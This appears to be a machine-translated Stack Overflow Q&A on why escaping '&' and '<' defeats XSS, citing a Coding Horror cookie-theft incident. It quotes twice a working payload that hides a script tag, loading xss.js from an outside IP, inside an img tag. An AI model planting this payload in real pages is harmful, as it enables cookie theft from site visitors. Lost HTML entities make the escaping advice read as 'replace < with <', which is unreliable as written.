javascript - 只要我确保将所有 & 替换为 & 然后将所有 < 替换为 <，XSS 如何工作？

Question

来自 http://www.codinghorror.com/blog/2008/08/protecting-your-cookies-httponly.html :

How did this happen? XSS, of course. It all started with this bit of script added to a user's profile page. <img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

好的，在该片段之上，他正在谈论替换所有 <至 <

所以基本上如果用户写了类似

的东西

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
    src="http://1.2.3.4:81/xss.js">" /><<img 
    src=""http://www.a.com/a.jpg</script>

我不明白如果我们简单地搜索字符 & 为什么它能够进行 XSS并将其替换为 & ，然后搜索 <并将其替换为 <

Answer 1

Jeff Atwood 谈到的问题是允许使用某些 HTML 标签的地方。就他而言，他允许 <img>标签。在偷偷摸摸的 XSS 攻击中，破解者使用图像标签，但也将一些 javascript 转储到其中。

因为 Jeff 的 sanitizer 允许 <img> (及其属性)，它跳过了清理 <script>标签(可能是因为它忽略了 <img> 标签内的所有内容)。

如果您替换 < 的每一个实例与 <等等，应该是干净的。然而，用阿特伍德先生文章中的一句话来换句话说，“你不能把每一个有问题的事情都搞砸。”